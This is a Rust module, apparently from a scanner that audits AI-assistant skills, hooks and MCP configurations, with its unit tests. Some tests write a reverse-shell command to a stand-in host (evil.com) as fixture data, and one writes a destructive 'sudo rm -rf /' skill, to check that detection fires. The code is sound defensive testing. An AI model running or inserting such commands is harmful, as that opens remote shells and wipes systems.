1use crate::{
2 Cli, CommandScanner, Confidence, Config, CustomRuleLoader, Deobfuscator, DependencyScanner,
3 DockerScanner, DynamicRule, Finding, HookScanner, IgnoreFilter, JsonReporter, MalwareDatabase,
4 McpScanner, OutputFormat, PluginScanner, Reporter, RiskScore, RulesDirScanner, SarifReporter,
5 ScanResult, ScanType, Scanner, SkillScanner, SubagentScanner, Summary, TerminalReporter,
6};
7use chrono::Utc;
8use std::fs;
9use std::path::Path;
10use walkdir::WalkDir;
11
12#[derive(Debug, Clone)]
14pub struct EffectiveConfig {
15 pub format: OutputFormat,
16 pub strict: bool,
17 pub scan_type: ScanType,
18 pub recursive: bool,
19 pub ci: bool,
20 pub verbose: bool,
21 pub min_confidence: Confidence,
22 pub skip_comments: bool,
23 pub fix_hint: bool,
24 pub no_malware_scan: bool,
25 pub deep_scan: bool,
26}
27
28impl EffectiveConfig {
29 pub fn from_cli_and_config(cli: &Cli, config: &Config) -> Self {
33 let format = parse_output_format(config.scan.format.as_deref()).unwrap_or(cli.format);
35
36 let scan_type = parse_scan_type(config.scan.scan_type.as_deref()).unwrap_or(cli.scan_type);
38
39 let min_confidence =
41 parse_confidence(config.scan.min_confidence.as_deref()).unwrap_or(cli.min_confidence);
42
43 Self {
44 format,
45 strict: cli.strict || config.scan.strict,
47 scan_type,
48 recursive: cli.recursive || config.scan.recursive,
49 ci: cli.ci || config.scan.ci,
50 verbose: cli.verbose || config.scan.verbose,
51 min_confidence,
52 skip_comments: cli.skip_comments || config.scan.skip_comments,
53 fix_hint: cli.fix_hint || config.scan.fix_hint,
54 no_malware_scan: cli.no_malware_scan || config.scan.no_malware_scan,
55 deep_scan: cli.deep_scan,
56 }
57 }
58}
59
60fn parse_output_format(s: Option<&str>) -> Option<OutputFormat> {
61 match s?.to_lowercase().as_str() {
62 "terminal" => Some(OutputFormat::Terminal),
63 "json" => Some(OutputFormat::Json),
64 "sarif" => Some(OutputFormat::Sarif),
65 "html" => Some(OutputFormat::Html),
66 _ => None,
67 }
68}
69
70fn parse_scan_type(s: Option<&str>) -> Option<ScanType> {
71 match s?.to_lowercase().as_str() {
72 "skill" => Some(ScanType::Skill),
73 "hook" => Some(ScanType::Hook),
74 "mcp" => Some(ScanType::Mcp),
75 "command" => Some(ScanType::Command),
76 "rules" => Some(ScanType::Rules),
77 "docker" => Some(ScanType::Docker),
78 "dependency" => Some(ScanType::Dependency),
79 "subagent" => Some(ScanType::Subagent),
80 "plugin" => Some(ScanType::Plugin),
81 _ => None,
82 }
83}
84
85fn parse_confidence(s: Option<&str>) -> Option<Confidence> {
86 match s?.to_lowercase().as_str() {
87 "tentative" => Some(Confidence::Tentative),
88 "firm" => Some(Confidence::Firm),
89 "certain" => Some(Confidence::Certain),
90 _ => None,
91 }
92}
93
94fn load_custom_rules(cli: &Cli) -> Vec<DynamicRule> {
96 match &cli.custom_rules {
97 Some(path) => match CustomRuleLoader::load_from_file(path) {
98 Ok(rules) => {
99 if !rules.is_empty() {
100 eprintln!(
101 "Loaded {} custom rule(s) from {}",
102 rules.len(),
103 path.display()
104 );
105 }
106 rules
107 }
108 Err(e) => {
109 eprintln!("Warning: Failed to load custom rules: {}", e);
110 Vec::new()
111 }
112 },
113 None => Vec::new(),
114 }
115}
116
117pub fn run_scan(cli: &Cli) -> Option<ScanResult> {
118 run_scan_internal(cli, None)
119}
120
121pub fn run_scan_with_config(cli: &Cli, config: Config) -> Option<ScanResult> {
123 run_scan_internal(cli, Some(config))
124}
125
126fn run_scan_internal(cli: &Cli, preloaded_config: Option<Config>) -> Option<ScanResult> {
127 let mut all_findings = Vec::new();
128 let mut targets = Vec::new();
129
130 let project_root = cli.paths.first().and_then(|p| {
132 if p.is_dir() {
133 Some(p.as_path())
134 } else {
135 p.parent()
136 }
137 });
138
139 let config = preloaded_config.unwrap_or_else(|| Config::load(project_root));
141
142 let mut config = config;
144 if let Some(ref profile_name) = cli.profile {
145 match crate::Profile::load(profile_name) {
146 Ok(profile) => {
147 profile.apply_to_config(&mut config.scan);
148 eprintln!("Using profile: {}", profile_name);
149 }
150 Err(e) => {
151 eprintln!("Warning: Failed to load profile '{}': {}", profile_name, e);
152 }
153 }
154 }
155
156 let effective = EffectiveConfig::from_cli_and_config(cli, &config);
158
159 let mut custom_rules = load_custom_rules(cli);
161
162 if !config.rules.is_empty() {
164 match CustomRuleLoader::convert_yaml_rules(config.rules) {
165 Ok(config_rules) => {
166 let config_rules_count = config_rules.len();
167 custom_rules.extend(config_rules);
168 if config_rules_count > 0 {
169 eprintln!(
170 "Loaded {} custom rule(s) from config file",
171 config_rules_count
172 );
173 }
174 }
175 Err(e) => {
176 eprintln!("Warning: Failed to load rules from config file: {}", e);
177 }
178 }
179 }
180
181 let malware_db = if !effective.no_malware_scan {
183 let mut db = match &cli.malware_db {
184 Some(path) => match MalwareDatabase::from_file(path) {
185 Ok(db) => db,
186 Err(e) => {
187 eprintln!("Warning: Failed to load custom malware database: {}", e);
188 eprintln!("Falling back to built-in database.");
189 MalwareDatabase::default()
190 }
191 },
192 None => MalwareDatabase::default(),
193 };
194
195 if !config.malware_signatures.is_empty() {
197 let sig_count = config.malware_signatures.len();
198 if let Err(e) = db.add_signatures(config.malware_signatures) {
199 eprintln!(
200 "Warning: Failed to load malware signatures from config file: {}",
201 e
202 );
203 } else {
204 eprintln!("Loaded {} malware signature(s) from config file", sig_count);
205 }
206 }
207
208 Some(db)
209 } else {
210 None
211 };
212
213 let create_ignore_filter = |path: &Path| {
215 let mut filter = IgnoreFilter::from_config(path, &config.ignore);
216 if cli.include_tests {
218 filter = filter.with_include_tests(true);
219 }
220 if cli.include_node_modules {
221 filter = filter.with_include_node_modules(true);
222 }
223 if cli.include_vendor {
224 filter = filter.with_include_vendor(true);
225 }
226 filter
227 };
228
229 for path in &cli.paths {
230 let result = match effective.scan_type {
232 ScanType::Skill => {
233 let ignore_filter = create_ignore_filter(path);
234 let scanner = SkillScanner::new()
235 .with_ignore_filter(ignore_filter)
236 .with_skip_comments(effective.skip_comments)
237 .with_dynamic_rules(custom_rules.clone());
238 scanner.scan_path(path)
239 }
240 ScanType::Hook => {
241 let scanner = HookScanner::new()
242 .with_skip_comments(effective.skip_comments)
243 .with_dynamic_rules(custom_rules.clone());
244 scanner.scan_path(path)
245 }
246 ScanType::Mcp => {
247 let scanner = McpScanner::new()
248 .with_skip_comments(effective.skip_comments)
249 .with_dynamic_rules(custom_rules.clone());
250 scanner.scan_path(path)
251 }
252 ScanType::Command => {
253 let scanner = CommandScanner::new()
254 .with_skip_comments(effective.skip_comments)
255 .with_dynamic_rules(custom_rules.clone());
256 scanner.scan_path(path)
257 }
258 ScanType::Rules => {
259 let scanner = RulesDirScanner::new()
260 .with_skip_comments(effective.skip_comments)
261 .with_dynamic_rules(custom_rules.clone());
262 scanner.scan_path(path)
263 }
264 ScanType::Docker => {
265 let ignore_filter = create_ignore_filter(path);
266 let scanner = DockerScanner::new()
267 .with_ignore_filter(ignore_filter)
268 .with_skip_comments(effective.skip_comments)
269 .with_dynamic_rules(custom_rules.clone());
270 scanner.scan_path(path)
271 }
272 ScanType::Dependency => {
273 let scanner = DependencyScanner::new()
274 .with_skip_comments(effective.skip_comments)
275 .with_dynamic_rules(custom_rules.clone());
276 scanner.scan_path(path)
277 }
278 ScanType::Subagent => {
279 let scanner = SubagentScanner::new()
280 .with_skip_comments(effective.skip_comments)
281 .with_dynamic_rules(custom_rules.clone());
282 scanner.scan_path(path)
283 }
284 ScanType::Plugin => {
285 let scanner = PluginScanner::new()
286 .with_skip_comments(effective.skip_comments)
287 .with_dynamic_rules(custom_rules.clone());
288 scanner.scan_path(path)
289 }
290 };
291
292 match result {
293 Ok(findings) => {
294 all_findings.extend(findings);
295 targets.push(path.display().to_string());
296 }
297 Err(e) => {
298 eprintln!("Error scanning {}: {}", path.display(), e);
299 return None;
300 }
301 }
302
303 if let Some(ref db) = malware_db {
305 let malware_findings = scan_path_with_malware_db(path, db);
306 all_findings.extend(malware_findings);
307 }
308
309 if effective.deep_scan {
311 let deep_findings = run_deep_scan(path);
312 all_findings.extend(deep_findings);
313 }
314 }
315
316 let filtered_findings: Vec<_> = all_findings
318 .into_iter()
319 .filter(|f| f.confidence >= effective.min_confidence)
320 .filter(|f| !config.disabled_rules.contains(&f.id))
321 .collect();
322
323 let summary = Summary::from_findings(&filtered_findings);
324 let risk_score = RiskScore::from_findings(&filtered_findings);
325 Some(ScanResult {
326 version: env!("CARGO_PKG_VERSION").to_string(),
327 scanned_at: Utc::now().to_rfc3339(),
328 target: targets.join(", "),
329 summary,
330 findings: filtered_findings,
331 risk_score: Some(risk_score),
332 })
333}
334
335fn run_deep_scan(path: &Path) -> Vec<Finding> {
337 let mut findings = Vec::new();
338 let deobfuscator = Deobfuscator::new();
339
340 if path.is_file() {
341 if is_text_file(path)
342 && let Ok(content) = fs::read_to_string(path)
343 {
344 findings.extend(deobfuscator.deep_scan(&content, &path.display().to_string()));
345 }
346 } else if path.is_dir() {
347 for entry in WalkDir::new(path)
348 .into_iter()
349 .filter_map(|e| e.ok())
350 .filter(|e| e.file_type().is_file())
351 {
352 let file_path = entry.path();
353 if is_text_file(file_path)
354 && let Ok(content) = fs::read_to_string(file_path)
355 {
356 findings.extend(deobfuscator.deep_scan(&content, &file_path.display().to_string()));
357 }
358 }
359 }
360
361 findings
362}
363
364pub fn scan_path_with_malware_db(path: &Path, db: &MalwareDatabase) -> Vec<Finding> {
365 let mut findings = Vec::new();
366
367 if path.is_file() {
368 if !is_config_file(path)
370 && let Ok(content) = fs::read_to_string(path)
371 {
372 findings.extend(db.scan_content(&content, &path.display().to_string()));
373 }
374 } else if path.is_dir() {
375 for entry in WalkDir::new(path)
376 .into_iter()
377 .filter_map(|e| e.ok())
378 .filter(|e| e.file_type().is_file())
379 {
380 let file_path = entry.path();
381 if !is_config_file(file_path)
383 && is_text_file(file_path)
384 && let Ok(content) = fs::read_to_string(file_path)
385 {
386 findings.extend(db.scan_content(&content, &file_path.display().to_string()));
387 }
388 }
389 }
390
391 findings
392}
393
394fn is_config_file(path: &Path) -> bool {
396 const CONFIG_FILES: &[&str] = &[
397 ".cc-audit.yaml",
398 ".cc-audit.yml",
399 ".cc-audit.json",
400 ".cc-audit.toml",
401 ".cc-auditignore",
402 ];
403
404 path.file_name()
405 .and_then(|name| name.to_str())
406 .is_some_and(|name| CONFIG_FILES.contains(&name))
407}
408
409pub fn is_text_file(path: &Path) -> bool {
411 static DEFAULT_CONFIG: std::sync::LazyLock<crate::config::TextFilesConfig> =
412 std::sync::LazyLock::new(crate::config::TextFilesConfig::default);
413
414 is_text_file_with_config(path, &DEFAULT_CONFIG)
415}
416
417pub fn is_text_file_with_config(path: &Path, config: &crate::config::TextFilesConfig) -> bool {
419 if config.is_text_file(path) {
421 return true;
422 }
423
424 if let Some(name) = path.file_name() {
426 let name_str = name.to_string_lossy();
427 let name_lower = name_str.to_lowercase();
428
429 if name_str.starts_with('.') {
431 return true;
432 }
433
434 if name_lower.ends_with("rc") {
436 return true;
437 }
438 }
439
440 false
441}
442
443pub fn format_result(cli: &Cli, result: &ScanResult) -> String {
444 let project_root = cli.paths.first().and_then(|p| {
446 if p.is_dir() {
447 Some(p.as_path())
448 } else {
449 p.parent()
450 }
451 });
452
453 let config = Config::load(project_root);
455 let effective = EffectiveConfig::from_cli_and_config(cli, &config);
456
457 format_result_with_config(&effective, result)
458}
459
460pub fn format_result_with_config(effective: &EffectiveConfig, result: &ScanResult) -> String {
462 match effective.format {
463 OutputFormat::Terminal => {
464 let reporter = TerminalReporter::new(effective.strict, effective.verbose)
465 .with_fix_hints(effective.fix_hint);
466 reporter.report(result)
467 }
468 OutputFormat::Json => {
469 let reporter = JsonReporter::new();
470 reporter.report(result)
471 }
472 OutputFormat::Sarif => {
473 let reporter = SarifReporter::new();
474 reporter.report(result)
475 }
476 OutputFormat::Html => {
477 let reporter = crate::reporter::html::HtmlReporter::new();
478 reporter.report(result)
479 }
480 }
481}
482
483#[derive(Debug)]
485pub enum WatchModeResult {
486 Success,
488 WatcherCreationFailed(String),
490 WatchPathFailed(String, String),
492}
493
494pub fn setup_watch_mode(cli: &Cli) -> Result<crate::FileWatcher, WatchModeResult> {
496 let mut watcher = match crate::FileWatcher::new() {
497 Ok(w) => w,
498 Err(e) => {
499 return Err(WatchModeResult::WatcherCreationFailed(e.to_string()));
500 }
501 };
502
503 for path in &cli.paths {
505 if let Err(e) = watcher.watch(path) {
506 return Err(WatchModeResult::WatchPathFailed(
507 path.display().to_string(),
508 e.to_string(),
509 ));
510 }
511 }
512
513 Ok(watcher)
514}
515
516pub fn watch_iteration(cli: &Cli) -> Option<String> {
518 run_scan(cli).map(|result| format_result(cli, &result))
519}
520
521#[cfg(test)]
522mod tests {
523 use super::*;
524 use std::path::PathBuf;
525 use tempfile::TempDir;
526
527 fn create_test_cli(paths: Vec<PathBuf>) -> Cli {
528 Cli {
529 paths,
530 scan_type: ScanType::Skill,
531 format: OutputFormat::Terminal,
532 strict: false,
533 verbose: false,
534 recursive: true,
535 ci: false,
536 include_tests: false,
537 include_node_modules: false,
538 include_vendor: false,
539 min_confidence: crate::Confidence::Tentative,
540 watch: false,
541 init_hook: false,
542 remove_hook: false,
543 skip_comments: false,
544 fix_hint: false,
545 no_malware_scan: false,
546 malware_db: None,
547 custom_rules: None,
548 baseline: false,
549 check_drift: false,
550 init: false,
551 output: None,
552 save_baseline: None,
553 baseline_file: None,
554 compare: None,
555 fix: false,
556 fix_dry_run: false,
557 mcp_server: false,
558 deep_scan: false,
559 profile: None,
560 save_profile: None,
561 }
562 }
563
564 #[test]
565 fn test_is_text_file_by_extension() {
566 assert!(is_text_file(Path::new("test.md")));
567 assert!(is_text_file(Path::new("test.txt")));
568 assert!(is_text_file(Path::new("test.sh")));
569 assert!(is_text_file(Path::new("test.py")));
570 assert!(is_text_file(Path::new("test.js")));
571 assert!(is_text_file(Path::new("test.rs")));
572 assert!(is_text_file(Path::new("test.json")));
573 assert!(is_text_file(Path::new("test.yaml")));
574 assert!(is_text_file(Path::new("test.yml")));
575 assert!(is_text_file(Path::new("test.toml")));
576 assert!(is_text_file(Path::new("test.xml")));
577 assert!(is_text_file(Path::new("test.html")));
578 assert!(is_text_file(Path::new("test.css")));
579 assert!(is_text_file(Path::new("test.go")));
580 assert!(is_text_file(Path::new("test.rb")));
581 assert!(is_text_file(Path::new("test.pl")));
582 assert!(is_text_file(Path::new("test.php")));
583 assert!(is_text_file(Path::new("test.java")));
584 assert!(is_text_file(Path::new("test.c")));
585 assert!(is_text_file(Path::new("test.cpp")));
586 assert!(is_text_file(Path::new("test.h")));
587 assert!(is_text_file(Path::new("test.hpp")));
588 assert!(is_text_file(Path::new("test.cs")));
589 assert!(is_text_file(Path::new("test.env")));
590 assert!(is_text_file(Path::new("test.conf")));
591 assert!(is_text_file(Path::new("test.cfg")));
592 assert!(is_text_file(Path::new("test.ini")));
593 assert!(is_text_file(Path::new("test.bash")));
594 assert!(is_text_file(Path::new("test.zsh")));
595 assert!(is_text_file(Path::new("test.ts")));
596 }
597
598 #[test]
599 fn test_is_text_file_case_insensitive() {
600 assert!(is_text_file(Path::new("test.MD")));
601 assert!(is_text_file(Path::new("test.TXT")));
602 assert!(is_text_file(Path::new("test.JSON")));
603 assert!(is_text_file(Path::new("test.YAML")));
604 }
605
606 #[test]
607 fn test_is_text_file_by_filename() {
608 assert!(is_text_file(Path::new("Dockerfile")));
609 assert!(is_text_file(Path::new("dockerfile")));
610 assert!(is_text_file(Path::new("Makefile")));
611 assert!(is_text_file(Path::new("makefile")));
612 assert!(is_text_file(Path::new(".gitignore")));
613 assert!(is_text_file(Path::new(".bashrc")));
614 assert!(is_text_file(Path::new(".zshrc")));
615 assert!(is_text_file(Path::new(".vimrc")));
616 }
617
618 #[test]
619 fn test_is_text_file_returns_false_for_binary() {
620 assert!(!is_text_file(Path::new("image.png")));
621 assert!(!is_text_file(Path::new("binary.exe")));
622 assert!(!is_text_file(Path::new("archive.zip")));
623 assert!(!is_text_file(Path::new("document.pdf")));
624 assert!(!is_text_file(Path::new("audio.mp3")));
625 assert!(!is_text_file(Path::new("video.mp4")));
626 }
627
628 #[test]
629 fn test_is_text_file_common_text_files() {
630 assert!(is_text_file(Path::new("README")));
633 assert!(is_text_file(Path::new("LICENSE")));
634 }
635
636 #[test]
637 fn test_is_text_file_unknown_no_extension() {
638 assert!(!is_text_file(Path::new("unknownfile123")));
640 }
641
642 #[test]
643 fn test_scan_path_with_malware_db_file() {
644 let temp_dir = TempDir::new().unwrap();
645 let test_file = temp_dir.path().join("test.sh");
646 fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
647
648 let db = MalwareDatabase::default();
649 let findings = scan_path_with_malware_db(&test_file, &db);
650
651 assert!(!findings.is_empty());
652 }
653
654 #[test]
655 fn test_scan_path_with_malware_db_directory() {
656 let temp_dir = TempDir::new().unwrap();
657 let test_file = temp_dir.path().join("evil.sh");
658 fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
659
660 let clean_file = temp_dir.path().join("clean.sh");
661 fs::write(&clean_file, "echo 'Hello World'").unwrap();
662
663 let db = MalwareDatabase::default();
664 let findings = scan_path_with_malware_db(temp_dir.path(), &db);
665
666 assert!(!findings.is_empty());
667 }
668
669 #[test]
670 fn test_scan_path_with_malware_db_skips_binary() {
671 let temp_dir = TempDir::new().unwrap();
672 let binary_file = temp_dir.path().join("test.exe");
673 fs::write(&binary_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
674
675 let db = MalwareDatabase::default();
676 let findings = scan_path_with_malware_db(temp_dir.path(), &db);
677
678 assert!(findings.is_empty());
680 }
681
682 #[test]
683 fn test_scan_path_with_malware_db_empty_path() {
684 let temp_dir = TempDir::new().unwrap();
685 let db = MalwareDatabase::default();
686 let findings = scan_path_with_malware_db(temp_dir.path(), &db);
687
688 assert!(findings.is_empty());
689 }
690
691 #[test]
692 fn test_run_scan_success() {
693 let temp_dir = TempDir::new().unwrap();
694 let skill_md = temp_dir.path().join("SKILL.md");
695 fs::write(
696 &skill_md,
697 r#"---
698name: test
699allowed-tools: Read
700---
701# Test Skill
702"#,
703 )
704 .unwrap();
705
706 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
707 let result = run_scan(&cli);
708
709 assert!(result.is_some());
710 let result = result.unwrap();
711 assert!(result.summary.passed);
712 }
713
714 #[test]
715 fn test_run_scan_with_findings() {
716 let temp_dir = TempDir::new().unwrap();
717 let skill_md = temp_dir.path().join("SKILL.md");
718 fs::write(
719 &skill_md,
720 r#"---
721name: evil
722allowed-tools: "*"
723---
724# Evil Skill
725
726sudo rm -rf /
727"#,
728 )
729 .unwrap();
730
731 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
732 let result = run_scan(&cli);
733
734 assert!(result.is_some());
735 let result = result.unwrap();
736 assert!(!result.summary.passed);
737 }
738
739 #[test]
740 fn test_run_scan_nonexistent_path() {
741 let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
742 let result = run_scan(&cli);
743
744 assert!(result.is_none());
745 }
746
747 #[test]
748 fn test_run_scan_hook_type() {
749 let temp_dir = TempDir::new().unwrap();
750 let settings_dir = temp_dir.path().join(".claude");
751 fs::create_dir_all(&settings_dir).unwrap();
752 let settings_file = settings_dir.join("settings.json");
753 fs::write(
754 &settings_file,
755 r#"{"hooks": {"PreToolUse": [{"matcher": "*", "hooks": [{"type": "command", "command": "echo test"}]}]}}"#,
756 )
757 .unwrap();
758
759 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
760 cli.scan_type = ScanType::Hook;
761 let result = run_scan(&cli);
762
763 assert!(result.is_some());
764 }
765
766 #[test]
767 fn test_run_scan_mcp_type() {
768 let temp_dir = TempDir::new().unwrap();
769 let mcp_file = temp_dir.path().join(".mcp.json");
770 fs::write(
771 &mcp_file,
772 r#"{"mcpServers": {"test": {"command": "echo", "args": ["hello"]}}}"#,
773 )
774 .unwrap();
775
776 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
777 cli.scan_type = ScanType::Mcp;
778 let result = run_scan(&cli);
779
780 assert!(result.is_some());
781 }
782
783 #[test]
784 fn test_run_scan_command_type() {
785 let temp_dir = TempDir::new().unwrap();
786 let commands_dir = temp_dir.path().join(".claude").join("commands");
787 fs::create_dir_all(&commands_dir).unwrap();
788 let cmd_file = commands_dir.join("test.md");
789 fs::write(&cmd_file, "# Test command\necho hello").unwrap();
790
791 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
792 cli.scan_type = ScanType::Command;
793 let result = run_scan(&cli);
794
795 assert!(result.is_some());
796 }
797
798 #[test]
799 fn test_run_scan_rules_type() {
800 let temp_dir = TempDir::new().unwrap();
801 let rules_dir = temp_dir.path().join(".cursor").join("rules");
802 fs::create_dir_all(&rules_dir).unwrap();
803 let rule_file = rules_dir.join("test.md");
804 fs::write(&rule_file, "# Test rule\nBe helpful").unwrap();
805
806 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
807 cli.scan_type = ScanType::Rules;
808 let result = run_scan(&cli);
809
810 assert!(result.is_some());
811 }
812
813 #[test]
814 fn test_run_scan_docker_type() {
815 let temp_dir = TempDir::new().unwrap();
816 let dockerfile = temp_dir.path().join("Dockerfile");
817 fs::write(&dockerfile, "FROM alpine:latest\nRUN echo hello").unwrap();
818
819 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
820 cli.scan_type = ScanType::Docker;
821 let result = run_scan(&cli);
822
823 assert!(result.is_some());
824 }
825
826 #[test]
827 fn test_run_scan_with_malware_db_disabled() {
828 let temp_dir = TempDir::new().unwrap();
829 let skill_md = temp_dir.path().join("SKILL.md");
830 fs::write(&skill_md, "# Test\n").unwrap();
831
832 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
833 cli.no_malware_scan = true;
834 let result = run_scan(&cli);
835
836 assert!(result.is_some());
837 }
838
839 #[test]
840 fn test_run_scan_with_custom_malware_db() {
841 let temp_dir = TempDir::new().unwrap();
842 let skill_md = temp_dir.path().join("SKILL.md");
843 fs::write(&skill_md, "# Test\n").unwrap();
844
845 let malware_db_file = temp_dir.path().join("custom-malware.json");
847 fs::write(
848 &malware_db_file,
849 r#"{
850 "version": "1.0.0",
851 "updated_at": "2026-01-25",
852 "signatures": []
853 }"#,
854 )
855 .unwrap();
856
857 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
858 cli.malware_db = Some(malware_db_file);
859 let result = run_scan(&cli);
860
861 assert!(result.is_some());
862 }
863
864 #[test]
865 fn test_run_scan_with_invalid_malware_db() {
866 let temp_dir = TempDir::new().unwrap();
867 let skill_md = temp_dir.path().join("SKILL.md");
868 fs::write(&skill_md, "# Test\n").unwrap();
869
870 let malware_db_file = temp_dir.path().join("invalid-malware.json");
872 fs::write(&malware_db_file, "not valid json").unwrap();
873
874 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
875 cli.malware_db = Some(malware_db_file);
876 let result = run_scan(&cli);
877
878 assert!(result.is_some());
880 }
881
882 #[test]
883 fn test_run_scan_multiple_paths() {
884 let temp_dir1 = TempDir::new().unwrap();
885 let skill_md1 = temp_dir1.path().join("SKILL.md");
886 fs::write(&skill_md1, "# Test1\n").unwrap();
887
888 let temp_dir2 = TempDir::new().unwrap();
889 let skill_md2 = temp_dir2.path().join("SKILL.md");
890 fs::write(&skill_md2, "# Test2\n").unwrap();
891
892 let cli = create_test_cli(vec![
893 temp_dir1.path().to_path_buf(),
894 temp_dir2.path().to_path_buf(),
895 ]);
896 let result = run_scan(&cli);
897
898 assert!(result.is_some());
899 let result = result.unwrap();
900 assert!(result.target.contains(", "));
901 }
902
903 #[test]
904 fn test_run_scan_with_confidence_filter() {
905 let temp_dir = TempDir::new().unwrap();
906 let skill_md = temp_dir.path().join("SKILL.md");
907 fs::write(&skill_md, "# Test\n").unwrap();
908
909 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
910 cli.min_confidence = crate::Confidence::Certain;
911 let result = run_scan(&cli);
912
913 assert!(result.is_some());
914 }
915
916 #[test]
917 fn test_format_result_terminal() {
918 let temp_dir = TempDir::new().unwrap();
919 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
920
921 let result = ScanResult {
922 version: "0.3.0".to_string(),
923 scanned_at: "2026-01-25T12:00:00Z".to_string(),
924 target: temp_dir.path().display().to_string(),
925 summary: Summary::from_findings(&[]),
926 findings: vec![],
927 risk_score: None,
928 };
929
930 let output = format_result(&cli, &result);
931 assert!(output.contains("PASS"));
932 }
933
934 #[test]
935 fn test_format_result_json() {
936 let temp_dir = TempDir::new().unwrap();
937 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
938 cli.format = OutputFormat::Json;
939
940 let result = ScanResult {
941 version: "0.3.0".to_string(),
942 scanned_at: "2026-01-25T12:00:00Z".to_string(),
943 target: temp_dir.path().display().to_string(),
944 summary: Summary::from_findings(&[]),
945 findings: vec![],
946 risk_score: None,
947 };
948
949 let output = format_result(&cli, &result);
950 assert!(output.contains("\"version\""));
951 assert!(output.contains("\"passed\": true") || output.contains("\"passed\":true"));
952 }
953
954 #[test]
955 fn test_format_result_sarif() {
956 let temp_dir = TempDir::new().unwrap();
957 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
958 cli.format = OutputFormat::Sarif;
959
960 let result = ScanResult {
961 version: "0.3.0".to_string(),
962 scanned_at: "2026-01-25T12:00:00Z".to_string(),
963 target: temp_dir.path().display().to_string(),
964 summary: Summary::from_findings(&[]),
965 findings: vec![],
966 risk_score: None,
967 };
968
969 let output = format_result(&cli, &result);
970 assert!(output.contains("\"$schema\""));
971 assert!(output.contains("2.1.0"));
972 }
973
974 #[test]
975 fn test_format_result_with_fix_hints() {
976 let temp_dir = TempDir::new().unwrap();
977 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
978 cli.fix_hint = true;
979
980 let result = ScanResult {
981 version: "0.3.0".to_string(),
982 scanned_at: "2026-01-25T12:00:00Z".to_string(),
983 target: temp_dir.path().display().to_string(),
984 summary: Summary::from_findings(&[]),
985 findings: vec![],
986 risk_score: None,
987 };
988
989 let _output = format_result(&cli, &result);
990 }
992
993 #[test]
994 fn test_format_result_verbose() {
995 let temp_dir = TempDir::new().unwrap();
996 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
997 cli.verbose = true;
998
999 let result = ScanResult {
1000 version: "0.3.0".to_string(),
1001 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1002 target: temp_dir.path().display().to_string(),
1003 summary: Summary::from_findings(&[]),
1004 findings: vec![],
1005 risk_score: None,
1006 };
1007
1008 let _output = format_result(&cli, &result);
1009 }
1010
1011 #[test]
1012 fn test_format_result_strict() {
1013 let temp_dir = TempDir::new().unwrap();
1014 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1015 cli.strict = true;
1016
1017 let result = ScanResult {
1018 version: "0.3.0".to_string(),
1019 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1020 target: temp_dir.path().display().to_string(),
1021 summary: Summary::from_findings(&[]),
1022 findings: vec![],
1023 risk_score: None,
1024 };
1025
1026 let _output = format_result(&cli, &result);
1027 }
1028
1029 #[test]
1030 fn test_setup_watch_mode_success() {
1031 let temp_dir = TempDir::new().unwrap();
1032 let skill_md = temp_dir.path().join("SKILL.md");
1033 fs::write(&skill_md, "# Test\n").unwrap();
1034
1035 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1036 let result = setup_watch_mode(&cli);
1037
1038 assert!(result.is_ok());
1039 }
1040
1041 #[test]
1042 fn test_setup_watch_mode_nonexistent_path() {
1043 let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/for/watch/12345")]);
1044 let result = setup_watch_mode(&cli);
1045
1046 assert!(result.is_err());
1047 if let Err(WatchModeResult::WatchPathFailed(path, _)) = result {
1048 assert!(path.contains("nonexistent"));
1049 } else {
1050 panic!("Expected WatchPathFailed error");
1051 }
1052 }
1053
1054 #[test]
1055 fn test_setup_watch_mode_multiple_paths() {
1056 let temp_dir1 = TempDir::new().unwrap();
1057 let temp_dir2 = TempDir::new().unwrap();
1058 fs::write(temp_dir1.path().join("SKILL.md"), "# Test1\n").unwrap();
1059 fs::write(temp_dir2.path().join("SKILL.md"), "# Test2\n").unwrap();
1060
1061 let cli = create_test_cli(vec![
1062 temp_dir1.path().to_path_buf(),
1063 temp_dir2.path().to_path_buf(),
1064 ]);
1065 let result = setup_watch_mode(&cli);
1066
1067 assert!(result.is_ok());
1068 }
1069
1070 #[test]
1071 fn test_watch_iteration_success() {
1072 let temp_dir = TempDir::new().unwrap();
1073 let skill_md = temp_dir.path().join("SKILL.md");
1074 fs::write(&skill_md, "# Test\n").unwrap();
1075
1076 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1077 let result = watch_iteration(&cli);
1078
1079 assert!(result.is_some());
1080 let output = result.unwrap();
1081 assert!(output.contains("PASS"));
1082 }
1083
1084 #[test]
1085 fn test_watch_iteration_failure() {
1086 let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
1087 let result = watch_iteration(&cli);
1088
1089 assert!(result.is_none());
1090 }
1091
1092 #[test]
1093 fn test_watch_mode_result_debug() {
1094 let success = WatchModeResult::Success;
1096 let watcher_failed = WatchModeResult::WatcherCreationFailed("test error".to_string());
1097 let path_failed = WatchModeResult::WatchPathFailed("path".to_string(), "error".to_string());
1098
1099 assert_eq!(format!("{:?}", success), "Success");
